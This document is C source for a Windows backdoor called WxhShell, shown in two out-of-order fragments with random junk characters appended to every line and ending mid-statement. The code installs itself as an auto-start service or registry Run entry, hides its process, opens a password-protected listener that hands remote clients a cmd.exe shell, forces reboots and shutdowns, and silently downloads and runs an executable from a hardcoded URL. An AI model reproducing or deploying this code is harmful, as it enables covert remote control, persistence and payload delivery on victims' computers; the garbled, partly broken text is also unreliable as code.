    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9ff6Apill  
    if(Boot(SHUTDOWN)) e|t@"MxvC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X3bPBv  
    else { U/W<Sa\`  
    closesocket(wsh); Hd/|f;  
    ExitThread(0); ;V=Y#|o  
    } bc?\lD$ $  
    break; {Tps3{|wt  
    } J|uxn<E<>  
  // 获取shell 5a`f % h%  
  case 's': { 95wi~^^  
    CmdShell(wsh); ji|+E`Nii  
    closesocket(wsh); _6tir'z  
    ExitThread(0); o4%H/|Oq.  
    break; )}/ ycTs  
  } ]tjQy1M  
  // 退出 B#|c$s{  
  case 'x': { %`M IGi#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wNk 0F7Ck  
    CloseIt(wsh); 9_h  V1:  
    break; _V.MmA  
    } (mNNTMe  
  // 离开 0:CIM  
  case 'q': { a7]wPXKq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nRE(Rb Re  
    closesocket(wsh); Q.]$t 2J  
    WSACleanup(); s9Tp(Yr,k  
    exit(1); ""; Bq*Y#  
    break; U9*uXD1\  
        } .~nk' m  
  } _5t~g_(1OK  
  } +;T `uOF}  
vuNt+  
  // 提示信息 !R 2;]d*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KWq&<X5  
} @PaOQ@  
  } T4M"s;::1  
oc^j<!Rh  
  return; 'P:u/Sq?m  
} i7%v2_  
B2R^oL' }  
// shell模块句柄 yDE0qUO  
int CmdShell(SOCKET sock) |#>:@{X<  
{ Xxz_h*  
STARTUPINFO si; >!U oS  
ZeroMemory(&si,sizeof(si)); `GBa3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '4"9f]:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mm l`,t8  
PROCESS_INFORMATION ProcessInfo; DL t"cAW  
char cmdline[]="cmd"; FQ3{~05T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |[ )e5Xhd  
  return 0; (uxe<'Co|  
} sa7F-XM  
2`[iTBZ=^  
// 自身启动模式 1iiQW  
int StartFromService(void) 7K5D,"D;1  
{ 9GV1@'<Y]  
typedef struct Qf>$'C(7!a  
{ (2SmB`g   
  DWORD ExitStatus; _x2i=SFo*$  
  DWORD PebBaseAddress; Mur)'  
  DWORD AffinityMask; o4zX 41W  
  DWORD BasePriority; 1Zh4)6x  
  ULONG UniqueProcessId; ^%qe&Pe2  
  ULONG InheritedFromUniqueProcessId; :pp@x*uNP  
}   PROCESS_BASIC_INFORMATION; Fu z'!  
+n)_\@aQ  
PROCNTQSIP NtQueryInformationProcess; fK0VFN8<I  
J [k,S(Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ev{;}2~V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t)i{=8 rq  
<27:O,I  
  HANDLE             hProcess; &tJ!cTA.-  
  PROCESS_BASIC_INFORMATION pbi; ;UAi>//#   
r'bPSu,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e2dg{n$6"  
  if(NULL == hInst ) return 0; , S }  
R/O>^s!Co  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l!d |luqbA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,(@JNtx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DD?zbN0X  
wAvnj  
  if (!NtQueryInformationProcess) return 0; v|7=IJ  
. XVW2ISv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bn<1zg5  
  if(!hProcess) return 0; gB)Cmw*  
L%CBz]`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0D s W1  
|c)hyw?[Y  
  CloseHandle(hProcess); O u-/dE%  
o?O> pK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0DB8[#i%:  
if(hProcess==NULL) return 0;  n$u@v(I  
l} =@9A@  
HMODULE hMod; %@~;PS3kd  
char procName[255]; TpH-_ft  
unsigned long cbNeeded; ' O+)[D  
DTMoZm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F*['1eAmdY  
11g_!X -g@  
  CloseHandle(hProcess); I;g>r8N-Bu  
v.q`1D1=t  
if(strstr(procName,"services")) return 1; // 以服务启动 "T4buTXJ  
|lG7/\A  
  return 0; // 注册表启动 J/(^Z?/~P!  
} w~%Rxdh?8W  
n([9U0!gu  
// 主模块 )s~szmJoVD  
int StartWxhshell(LPSTR lpCmdLine) Sp]u5\  
{ E|K|AdL  
  SOCKET wsl; A0l-H/l7  
BOOL val=TRUE; a`*Dq"9pV  
  int port=0; Aw) I:d7F  
  struct sockaddr_in door; ?heg_ ~P  
!XqU'xxC  
  if(wscfg.ws_autoins) Install(); buu /Nz$  
y7ZYo7avg  
port=atoi(lpCmdLine); _Oc(K "v  
_wp_y-"  
if(port<=0) port=wscfg.ws_port; \5pBK  
TZ+- >CG  
  WSADATA data; =H_vRd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (~ `?_  
/Pyj|!C3`q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !zZ3F|+HB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8t5o&8v  
  door.sin_family = AF_INET; t[4V1:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $l=&  
  door.sin_port = htons(port); C)?tf[!_6  
Rh,a4n?W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'o]kOp@q  
closesocket(wsl); @9e}kiW  
return 1; ak"W/"2:  
} _C54l  
!Pc&Sg  
  if(listen(wsl,2) == INVALID_SOCKET) { }`uFLBG3  
closesocket(wsl); fW z=bJ"V  
return 1; eq6>C7.$  
} i1 >oRT{Z  
  Wxhshell(wsl); m|]:oT`M  
  WSACleanup(); kQw%Wpuq[/  
V~ q b2$  
return 0; [aF"5G  
%5 ovW<E:  
} B(1WI_}~  
cfC}"As  
// 以NT服务方式启动 bamQ]>0|>!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fda)t1u\8  
{ `Fx+HIng,  
DWORD   status = 0; H#/Hs#  
  DWORD   specificError = 0xfffffff; ;-Ki`x.oJ  
Jq*Q;}n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wA2^ I70-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7ND4Booul  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L-DL)8;`  
  serviceStatus.dwWin32ExitCode     = 0; fl}! V4  
  serviceStatus.dwServiceSpecificExitCode = 0; ZKTY1JW_  
  serviceStatus.dwCheckPoint       = 0; Gq]/6igzX  
  serviceStatus.dwWaitHint       = 0; :ggXVwpe  
.(%]RSBY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); | r,{#EE  
  if (hServiceStatusHandle==0) return; D%*Ryg  
PS3jCT  
status = GetLastError(); 2 -pv &  
  if (status!=NO_ERROR) 2(2UAB"u  
{ VVw5)O1'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y3JIDT^  
    serviceStatus.dwCheckPoint       = 0;  :!/ (N  
    serviceStatus.dwWaitHint       = 0; U8a5rF><  
    serviceStatus.dwWin32ExitCode     = status; qs>&Xn  
    serviceStatus.dwServiceSpecificExitCode = specificError; $U4[a:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &>xz  
    return; k![oJ.vHD  
  } \OwCZ!`7i  
rtdEIk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  Pm"nwm  
  serviceStatus.dwCheckPoint       = 0; eX$RD9 H  
  serviceStatus.dwWaitHint       = 0; T,9pd;k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AD~_n ^  
} B8~bx%)3T  
:(YFIW`59  
// 处理NT服务事件,比如:启动、停止 4YgO1}%G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~wQ M ?h  
{ Z]XjN@j"  
switch(fdwControl) ~7w LnB  
{ wlFK#iK  
case SERVICE_CONTROL_STOP: :;jRAjq"  
  serviceStatus.dwWin32ExitCode = 0; i8A-h6E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;]l`Q,*OXb  
  serviceStatus.dwCheckPoint   = 0; "^oU&]KQJ  
  serviceStatus.dwWaitHint     = 0; [ D"5@  
  { uhU'm@JZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /5X_gjOL,  
  } #wZbG|%  
  return; >eWORf>7  
case SERVICE_CONTROL_PAUSE: PXF u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Vy6~O|68=  
  break; n)PqA*  
case SERVICE_CONTROL_CONTINUE: q)3QmA~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T>|Y_3YO_a  
  break; D67z6jep(  
case SERVICE_CONTROL_INTERROGATE: Md&K#)9,(  
  break; Dxe]LES\]  
}; u s8.nL/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \olY)b[  
} K7t_Q8  
aF[#(PF  
// 标准应用程序主函数 Sq x'nXgO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Te`MIR  
{ 7- |N&u  
LRR)T: e}q  
// 获取操作系统版本 kP1cwmZ7F  
OsIsNt=GetOsVer(); ( 6ucA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |-TxX:O-  
|S]T,`7u  
  // 从命令行安装 y!T8(  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,n`S ,  
uR.`8s|  
  // 下载执行文件 MeYu  
if(wscfg.ws_downexe) { %I;uqf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?:6w6GwAA  
  WinExec(wscfg.ws_filenam,SW_HIDE); yQ !keGj  
} N|%X/UjZ2.  
 `7oYXk  
if(!OsIsNt) { )"]( ?V  
// 如果时win9x,隐藏进程并且设置为注册表启动 a1EQ.u  
HideProc(); w~3z) ;  
StartWxhshell(lpCmdLine); iO"ZtkeNr  
} @O|`r(le  
else :`c@&WF8  
  if(StartFromService()) ,u9 >c*Ss\  
  // 以服务方式启动 <B'PB"R3y  
  StartServiceCtrlDispatcher(DispatchTable); +U iJWO  
else 8\G"I  
  // 普通方式启动 U,lO{J[T  
  StartWxhshell(lpCmdLine); TAq[g|N-;  
o*3\xg  
return 0; kG5Uc8 3#G  
} "-\8Y>E  
CSH*^nk':O  
!b$]D?=}  
I|Mw*2U  
=========================================== -;Te+E_  
)x35  
u $B24Cy.  
:m36{#  
qC3PKlhv6  
1k`gr&S  
" eIOMW9Ivt  
2cwJ);Eg2  
#include <stdio.h> xIH= gK  
#include <string.h> 5=b6B=\*~  
#include <windows.h> R,fAl"wMu  
#include <winsock2.h> "bz.nE*  
#include <winsvc.h> 03_M+lv  
#include <urlmon.h> h gu\~}kD  
wYDdy gS  
#pragma comment (lib, "Ws2_32.lib") Lt i2KY}/%  
#pragma comment (lib, "urlmon.lib") |{RCvm  
9v1Snr  
#define MAX_USER   100 // 最大客户端连接数 {;O j  
#define BUF_SOCK   200 // sock buffer ],{M``]q  
#define KEY_BUFF   255 // 输入 buffer 24sQon  
WXG0Z  
#define REBOOT     0   // 重启 s#(7D3Pr#  
#define SHUTDOWN   1   // 关机 PS0/O k  
cH5RpeP  
#define DEF_PORT   5000 // 监听端口 $j \jT  
Htfq?\ FD  
#define REG_LEN     16   // 注册表键长度 "1`w>(=  
#define SVC_LEN     80   // NT服务名长度 %-B wK  
yZ]?-7  
// 从dll定义API [[xnp;-;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g?K? Fn.}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a-AA$U9hj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *$3p3-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $M~`)UeV_  
c7R&/JV  
// wxhshell配置信息 .EvP%A m  
struct WSCFG { B1]FB|0's  
  int ws_port;         // 监听端口 =1xVw5^F  
  char ws_passstr[REG_LEN]; // 口令 Cq3Au%7  
  int ws_autoins;       // 安装标记, 1=yes 0=no f0YBy<a  
  char ws_regname[REG_LEN]; // 注册表键名 ap,zC)[  
  char ws_svcname[REG_LEN]; // 服务名 MZqHL4<|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,XI=e=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g4{0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G_5w5dbG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T!Lv%i*|Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %Aa_Bumf*:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )6eFYt%c  
K92M9=>  
}; }:[MSUm5  
O&}R  
// default Wxhshell configuration {Z1-B60P  
struct WSCFG wscfg={DEF_PORT, %d<UMbS^  
    "xuhuanlingzhe", LR'~:46#u  
    1, ,Ek6X)|@  
    "Wxhshell", WI.+9$1:P  
    "Wxhshell", %IDl+_j  
            "WxhShell Service", (`u+(M!^  
    "Wrsky Windows CmdShell Service", .4[M-@4+]  
    "Please Input Your Password: ", /||8j.Tm  
  1, = )4bf"~8  
  "http://www.wrsky.com/wxhshell.exe", 8#9OSupp  
  "Wxhshell.exe" "{3MXAFe  
    }; ;Wsl 'e/  
]\]mwvLT  
// 消息定义模块 ymT]ow6C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .'4@Yp{=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A7eYKo q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [?(qhp!  
char *msg_ws_ext="\n\rExit."; #a'CoJs   
char *msg_ws_end="\n\rQuit.";  v&7x ~!O  
char *msg_ws_boot="\n\rReboot..."; \&U"7gSL  
char *msg_ws_poff="\n\rShutdown..."; bjN"H`Q  
char *msg_ws_down="\n\rSave to "; vV*/"'>  
Z=< D`  
char *msg_ws_err="\n\rErr!"; K6@ %@v  
char *msg_ws_ok="\n\rOK!"; uC6e2py<[  
2z1r|?l  
char ExeFile[MAX_PATH]; Ik@MIxLK  
int nUser = 0; 1F+nWc2b  
HANDLE handles[MAX_USER]; woN d7`C}7  
int OsIsNt; }uO2 x@  
4{b/Nv:b  
SERVICE_STATUS       serviceStatus; v+dT7* ^@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I*mBU^<9V  
=/4}!B/  
// 函数声明 T b*Q4:r"  
int Install(void); $-6[9d-N  
int Uninstall(void); \lyHQ-gWhc  
int DownloadFile(char *sURL, SOCKET wsh); = N:5#A  
int Boot(int flag); .TNJuuO  
void HideProc(void); 6)FM83zk)K  
int GetOsVer(void); pBn;:  
int Wxhshell(SOCKET wsl); P(3$XMx  
void TalkWithClient(void *cs); :K(+ KN(  
int CmdShell(SOCKET sock); RER93:(  
int StartFromService(void); k9c`[M  
int StartWxhshell(LPSTR lpCmdLine); Z'm( M[2K  
|>-0q~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zOJzQZ~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v[a4d&P  
ZB5NTNf>  
// 数据结构和表定义 u!b0 <E  
SERVICE_TABLE_ENTRY DispatchTable[] = akwS;|SZ  
{ h(^[WSa  
{wscfg.ws_svcname, NTServiceMain}, maV*+!\  
{NULL, NULL} "c![s%  
}; 9Z3Vf[n5\  
W=2]!%3#  
// 自我安装 ;)sC{ "Jb  
int Install(void) 5 L-6@@/  
{ zCu+Oi6  
  char svExeFile[MAX_PATH]; L_!}R  
  HKEY key; qVd s 2  
  strcpy(svExeFile,ExeFile); Xj:\B] v]  
'%a:L^a?  
// 如果是win9x系统,修改注册表设为自启动 (D\`:1g  
if(!OsIsNt) { ("=24R=a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cio (Ptt:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t,kai6UM  
  RegCloseKey(key); *O-m:M!eA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "<"s&ws;k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4 X0ku]  
  RegCloseKey(key); b'RBel;W  
  return 0; 0iz\<' p  
    } !T}R=;)e h  
  } }c#W"y5l_  
} "2T* w~V&y  
else { 0 Gq<APtr  
&*~_ "WyU  
// 如果是NT以上系统,安装为系统服务 AO8%!+"_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T3-/+4$0v  
if (schSCManager!=0) YCyh+%Q(  
{ mH'om SCz  
  SC_HANDLE schService = CreateService (]5gYi  
  ( WTZuf9:  
  schSCManager, |s!n7%|,7  
  wscfg.ws_svcname, }IKU^0M9<T  
  wscfg.ws_svcdisp, =':B  
  SERVICE_ALL_ACCESS, p >nKNd_aQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B<,AI7  
  SERVICE_AUTO_START, Nxm '* -A  
  SERVICE_ERROR_NORMAL, Wa%p+(\<uB  
  svExeFile, X C '|  
  NULL, <h`}I3Ao  
  NULL, =z}M(<G  
  NULL, Ul:M=8nE%  
  NULL, &VVvZ@X;  
  NULL [kI[qByf  
  ); quFNPdP  
  if (schService!=0) q]y{ 4"=5  
  { :/;;|lGw  
  CloseServiceHandle(schService); eW[](lGWM  
  CloseServiceHandle(schSCManager); )U{IQE;T#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \Zn~y--Z  
  strcat(svExeFile,wscfg.ws_svcname); Ystd[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `V?NS,@$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ")W5`9  
  RegCloseKey(key); y"ms;w'z  
  return 0; Oq 95zo  
    } r<"k /  
  } p Acu{5#7  
  CloseServiceHandle(schSCManager); $u,`bX  
} *,wW-8  
} UR[UZ4G  
8`q"] BQN  
return 1; '^.3}N{Fo  
} 0Rh*SoYrC  
z@xkE ,j>  
// 自我卸载 u"kB`||(  
int Uninstall(void) i6E~]&~.v  
{ H`T}k+e2-N  
  HKEY key; et`rPK~m  
$XrX(l5  
if(!OsIsNt) { Y,X0x-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \~""<*Hz  
  RegDeleteValue(key,wscfg.ws_regname); lq)[  
  RegCloseKey(key); cUU"*bA#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7i9wfc h$U  
  RegDeleteValue(key,wscfg.ws_regname); \}7xgQ>oV  
  RegCloseKey(key); >+*lG>!z  
  return 0; w-``kID  
  } Oi~.z@@  
} !Ee&e~"  
} D*)"?L G  
else { (}CA?/  
"D ivsq^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 05;J7T<  
if (schSCManager!=0) iM{cr&0  
{ <;NxmO<%\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :Y&h'FGZm  
  if (schService!=0) F=$U.K~1?  
  { <J!?eH9f  
  if(DeleteService(schService)!=0) { r6}-EYq=  
  CloseServiceHandle(schService); |TuFx=~5v  
  CloseServiceHandle(schSCManager); .WW|v  
  return 0; \0^Je>-:U  
  } !A"-9OS2  
  CloseServiceHandle(schService); ^L's45&_  
  } !GZ{UmwA  
  CloseServiceHandle(schSCManager); 'zYx4&s  
} rF . Oo0  
} D}bCMN <  
f`p"uLNo<  
return 1; HO39>:c  
} $eh>.c'&]  
@Y+9")?  
// 从指定url下载文件 *g 2N&U  
int DownloadFile(char *sURL, SOCKET wsh) '_o(I  
{ < #7j~<  
  HRESULT hr; Br"K{g?  
char seps[]= "/"; 0u ,nSvch  
char *token; ]U3@V#*  
char *file; A,%NdM;t=5  
char myURL[MAX_PATH]; J|dj`Z ?  
char myFILE[MAX_PATH]; ?,*KAGg%  
ef -PlGn  
strcpy(myURL,sURL); qjLFgsd  
  token=strtok(myURL,seps); fb|lWEw5h.  
  while(token!=NULL) _U%2J4T2  
  { nnMRp7LQ-  
    file=token; ((]Sy,rdk  
  token=strtok(NULL,seps); f15n ~d  
  } rNX]tp{j  
e>$E67h<~  
GetCurrentDirectory(MAX_PATH,myFILE); FeuqqZ\=&  
strcat(myFILE, "\\"); . AX6xc6  
strcat(myFILE, file); F2mW<REg{  
  send(wsh,myFILE,strlen(myFILE),0); 6 Y}Bza  
send(wsh,"...",3,0); !o8(9F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7.C~ OrGR  
  if(hr==S_OK) (/Dr=D{ `  
return 0; KoTQc0b!  
else Bl v @u?  
return 1; -<aN$O  
DsGtc<l%  
} -Deqlaf(  
7cZ(gdQ/  
// 系统电源模块 3[iHe+U(  
int Boot(int flag) ~_"/\; 1  
{ mO^vKq4r.  
  HANDLE hToken; Wj31mV  
  TOKEN_PRIVILEGES tkp; _9"%;:t  
$oH?7sj  
  if(OsIsNt) { of?'FrU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?h'd\.j{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FFID<L f/2  
    tkp.PrivilegeCount = 1; ?-9It|R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0o-KjX?kP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qX!P:M  
if(flag==REBOOT) { p ^Dm w0y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |1^ !rHg  
  return 0; kY`L[1G$  
} _0qp!-l}  
else { Py-}tFr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _tpqo>  
  return 0; Y'2 |GJc2  
} ;TG<$4N  
  } yX|0 R H  
  else { /FA0(< -}  
if(flag==REBOOT) { KJN{p~Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y4 ~;H{!  
  return 0; eEMU,zCl  
} 8yn}|Y9Fu  
else { t5jZ8&M5]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ekhx?rz  
  return 0; [5TGCGxP{  
} hQ}B?'>  
} TSAVXng  
,xsFBNCC  
return 1; C.oC@P  
} l<=Y.P_2  
2';f8JLY  
// win9x进程隐藏模块 %,[p[`NRYR  
void HideProc(void) <hSrx7o  
{ V50FX }i  
bClMM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {%Q &CQG_  
  if ( hKernel != NULL ) >@9>bI+Q  
  { F~tT5?+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SN/ e41  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |] 8Hh>  
    FreeLibrary(hKernel); Y1Qg|U o  
  } 9py *gN#  
*P}v82C N  
return; V8{5 y <Y>  
} LU4k/  
}hd:avze  
// 获取操作系统版本 `8rInfV  
int GetOsVer(void) \5s #9  
{ KZ;Q71  
  OSVERSIONINFO winfo; ]K(>r#'nH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *Af:^>mh  
  GetVersionEx(&winfo); [exIK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TwZASn]o  
  return 1; Z:(yX0U,[  
  else &E&e5(&$  
  return 0; 8Qt'Y9|  
} cy-Bhk0H  
1"5-doo  
// 客户端句柄模块 R"`7aa6  
int Wxhshell(SOCKET wsl) wa*/Am9;~  
{ NWq>Z!x`  
  SOCKET wsh; l3C%`[MB  
  struct sockaddr_in client; "=97:H{!  
  DWORD myID; OPsg3pW!]  
"]M]pR/j  
  while(nUser<MAX_USER) PA(XdT{  
{ ZW0gd7Wh  
  int nSize=sizeof(client); B5Y 3GWhrx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8V$:th('  
  if(wsh==INVALID_SOCKET) return 1; ,AO]4Ec  
42wa9UL<Ka  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EgT2a  
if(handles[nUser]==0) u79,+H@ep  
  closesocket(wsh); ZfYva(zP{Q  
else ^ A`@g4!  
  nUser++; *6trK`tx^  
  } /X_g[*]?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `pzXh0}|  
rL /e  
  return 0; 8I`t`C/4  
} |3A/Og  
a*Oc:$  
// 关闭 socket r)G^V&96  
void CloseIt(SOCKET wsh) TsB"<6@!AA  
{ Y]SX2kk(2  
closesocket(wsh); ~Yw`w 2  
nUser--; ZFAi9M  
ExitThread(0); ;Xw'WMb*=  
} "+6:vhP5  
W+C@(}pt  
// 客户端请求句柄 ]'2;6%. 4  
void TalkWithClient(void *cs) SCZ6:P"$qX  
{ ~K-c-Zs#z  
}yfSF|\  
  SOCKET wsh=(SOCKET)cs; o"a~  
  char pwd[SVC_LEN]; [o0Z; }fU  
  char cmd[KEY_BUFF]; y,D4b6  
char chr[1]; K9YD)351t  
int i,j; cJnAwIs_e`  
8 N5ga  
  while (nUser < MAX_USER) { ?/ @~ d  
A@kp` -  
if(wscfg.ws_passstr) { u ::2c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "XEK oeG{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1UHStR  
  //ZeroMemory(pwd,KEY_BUFF); 61W ms@D%  
      i=0; < c}cgD4  
  while(i<SVC_LEN) { v&NC` dVR  
>(} I7  
  // 设置超时 mrzrQ@sN  
  fd_set FdRead; v~2$9x!9  
  struct timeval TimeOut; g0P^O@8  
  FD_ZERO(&FdRead); AI|8E8h+D  
  FD_SET(wsh,&FdRead); o6PDCaT7  
  TimeOut.tv_sec=8; Tjfg[Z/x  
  TimeOut.tv_usec=0; 8d90B9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &{Zt(%\ '  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fgmIx  
pa6.Tp>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &3Q!'pJJ  
  pwd=chr[0]; Z*}5M4  
  if(chr[0]==0xd || chr[0]==0xa) { rl0sN5n  
  pwd=0; ~e ,D`Lv  
  break; ){PL6|5x  
  } BixKK$Lo  
  i++; &3SQVOW ~T  
    } 8e`'Ox_5a  
{PXN$p:'  
  // 如果是非法用户,关闭 socket GtCbzNY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]5+db0  
} lm?1 K:+[  
yj6o533o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4+Sq[Rv0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :+9KNyA  
y7;i4::A\  
while(1) { bF#*cH  
$rAHtr  
  ZeroMemory(cmd,KEY_BUFF); XQW+6LEQ  
XF`,mV4  
      // 自动支持客户端 telnet标准   7g}lg8M  
  j=0; '8Q:}{  
  while(j<KEY_BUFF) { 1kG{z;9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v[r5!,F  
  cmd[j]=chr[0]; Kd?TIeFE  
  if(chr[0]==0xa || chr[0]==0xd) { P,2FH2Eyj  
  cmd[j]=0; Hqel1J  
  break; ;^q@w  
  } j{i3lGaN  
  j++; 7gLN7_2  
    } : "|M  
1e 8J-Nkj  
  // 下载文件 T+OQa+E@P  
  if(strstr(cmd,"http://")) { \,-t]$9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'w?*4H  
  if(DownloadFile(cmd,wsh)) k* ayzg3F>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lzQmD/i*  
  else . C g2Y  
